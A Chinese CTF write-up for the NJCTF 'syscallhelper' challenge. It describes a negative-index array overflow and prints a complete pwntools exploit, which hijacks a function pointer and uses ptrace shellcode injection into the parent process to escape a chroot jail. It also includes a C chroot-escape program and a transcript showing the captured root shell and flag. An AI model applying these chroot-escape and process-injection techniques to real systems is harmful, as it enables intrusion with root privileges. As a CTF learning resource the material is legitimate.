漏洞类型:数组边界溢出
利用方法:通过ptrace注入shellcode
程序入口
root@kali ~/桌/syscallhelper# ./syscallhelper
[+]Welcome to our new syscall helper
____________________________________
| |
|1. set system call |
|2. add a new system call |
|3. generate shellcode |
|4. switch architecture |
|5. leave your message |
|0. exit |
|____________________________________|
[+]Give your option:
在add功能中
v5 = getopt();
if ( v5 <= 6 ) //v5可以为负数
{
puts("[+]Input argument values(argvs)");
while ( 1 )
{
while ( 1 )
{
puts("[+]Input the argument value index,enter a single 0 to stop");
v8 = getopt();
if ( v8 <= (unsigned int)v5 ) //unsigned(-1) = 0xffffffff
break;
puts("[-]index out of range");
}
if ( !v8 )
break;
puts("[+]Input the argument value");
readn(0, (int)call_number, 1024);
numbercpy(v4, v8, call_number);
}
这里没有限制v5和v8必须为正数,所以这里可以输入负数导致数组边界溢出。
可以通过上述漏洞将函数指针覆写为任意地址,接着通过generate来触发
加之程序全部内存空间都有执行权限,因此只要我们能够将其指向任意一段可控内存,我们就有了控制程序的能力。如果不加限制,执行shellcode可以轻松的拿到shell,但是,程序在初始化阶段执行了chroot('jail')
在当前路径下并没有执行shell所需的环境,因此必须想办法绕过chroot限制。需要注意的是,chroot需要root权限,但是程序在执行chroot后并没有降权,这意味着我们在执行shellcode时依然是root权限。这里想到的第一种思路是利用chroot本身的实现漏洞绕过限制
int main() {
chdir("jail");
chroot("./");
mkdir("break_jail", 0755);
chroot("break_jail");
int i;
for (i=100; i>0; i--)
chdir("..");
chroot(".");
/* exec a bash in interactive mode */
if (execl("/bin/bash", "-i", NULL)<0) {
fprintf(stderr, "Failed to exec - %s\n", strerror(errno));
exit(1);
}
return 0;
}
但是,这种方式需要当前文件夹下拥有一个可读文件夹或者创建文件的权限。但是,在本题中并不具备这样的条件。另一个思路(@Lancet的neo师傅)是通过ptrace向其他线程注入shellcode。因为我们拥有root权限并且父进程中并没有执行chroot,所以我们可以通过ptrace系统调用attach到父进程上,并将shellcode注入到其任一段内存空间上,并修改eip使其指向刚注入的shellcode,最后再detach就可以了。完整代码如下
from pwn import *
from pwn import shellcraft as sc
import time
debug = 0
slog = 0
local = 0
if slog: context.log_level = True
if local:
p = process('./syscallhelper')
else:
p = remote('218.2.197.234', 2088)
def setcall(name):
p.recvuntil('option:')
p.sendline('1')
p.recvuntil('name:')
p.sendline(name)
def addcall(name, call_number, args):
p.recvuntil('option:')
p.sendline('2')
p.recvuntil('call name')
p.sendline(name)
p.recvuntil('call number')
p.sendline(str(call_number))
p.recvuntil('count(argc)')
#p.sendline(str(len(args)))
p.sendline('-1')
p.recvuntil('stop')
for arg in args:
p.sendline(str(arg[0]))
p.recvuntil('argument value')
p.sendline(arg[1])
p.sendline('0')
def switch(arch):
p.recvuntil('option:')
p.sendline('4')
p.recvuntil('option:')
if 'x86' in arch:
p.sendline('1')
else:
p.sendline('2')
def generate():
p.recvuntil('option:')
p.sendline('3')
switch('x64')
'''
shellcode = asm("push eax; push 0x0805A7A0; xor eax, eax; push eax; mov eax, 0x08048BF0; call eax;")
shellcode += asm("xor eax, eax; push eax; push 0x0805A7A0; mov eax, 0x08048b40; call eax;")
shellcode += asm("push 0xdeadbeaf; push 0x0805A7A0; push eax; mov eax, 0x08048BF0; call eax")
shellcode += asm("push 0x0805A7A0; mov eax, 0x08048D30; call eax")
'''
asm_code = ''
'''
define PTRACE_TRACEME 0
define PTRACE_PEEKTEXT 1
define PTRACE_PEEKDATA 2
define PTRACE_PEEKUSR 3
define PTRACE_POKETEXT 4
define PTRACE_POKEDATA 5
define PTRACE_POKEUSR 6
define PTRACE_CONT 7
define PTRACE_KILL 8
define PTRACE_SINGLESTEP 9
define PTRACE_GETREGS 12
define PTRACE_SETREGS 13
define PTRACE_ATTACH 0x10
define PTRACE_DETACH 0x11
define PTRACE_SYSCALL 24
'''
shellcode_getsh = asm(sc.execve('/bin/sh'))
local read shellcode
asm_code += sc.read(0, 0x0804e010, 1024)
asm_code += 'push eax;'
ptrace attach
asm_code += sc.getpid()
asm_code += 'dec eax; push eax; mov ebx, eax;' + sc.ptrace(0x10, 'ebx', 0, 0)
asm_code += 'test eax, eax; jnz fail;'
ptrace inject shellcode
asm_code += 'push 0x0804E010;'
asm_code += 'loop: mov ecx, [esp+4]; mov edx, [esp]; mov esi, [edx];'
asm_code += sc.ptrace(5, 'ecx', 'edx', 'esi')
asm_code += 'test eax, eax; jnz loop;' #if failed to inject, try again
asm_code += 'add edx, 4; mov [esp], edx; mov esi, [esp+8]; sub esi, 4; mov [esp+8], esi; test esi, esi; jg loop;'
ptrace getregs
asm_code += 'mov ecx, [esp+4]'
asm_code += sc.ptrace(12, 'ecx', 0, 0x0804e010)
ptrace setregs, control eip
asm_code += 'mov [0x0804e040], esi;'
asm_code += sc.ptrace(13, 'ecx', 0, 0x0804e010)
detach
asm_code += 'mov ecx, [esp+4]'
asm_code += sc.ptrace(0x11, 'ecx', 0, 0)
exit
asm_code += sc.exit(0)
print error
asm_code += 'fail:'
asm_code += sc.pushstr("ptrace failed\n")
asm_code += sc.write(1, 'esp', 14)
print asm_code
shellcode = asm(asm_code)
assert len(shellcode) < 1024
puts_plt = 0x08048d30
addcall('read', 1, [(-10, p32(puts_plt)), (1, shellcode)])
setcall('read')
generate()
p.recvline()
heap_addr = u32(p.recv(4))
print 'heap addr is', hex(heap_addr)
if local and debug: gdb.attach(pidof('syscallhelper')[0], open('debug'))
shellcode_addr = heap_addr + 0x10
addcall('write', 1, [(-10, p32(shellcode_addr))])
setcall('write')
generate()
p.sendline(shellcode_getsh)
p.interactive()
成功得到shell
root@kali ~/桌/syscallhelper# python exp.py
[+] Opening connection to 218.2.197.234 on port 2088: Done
heap addr is 0x8e820e0
[*] Switching to interactive mode
$ cd ..
$ ls
flag
jail
syscallhelper
$ cat flag
NJCTF{7dcac60b42cdd16ca7fb5839f21141b3}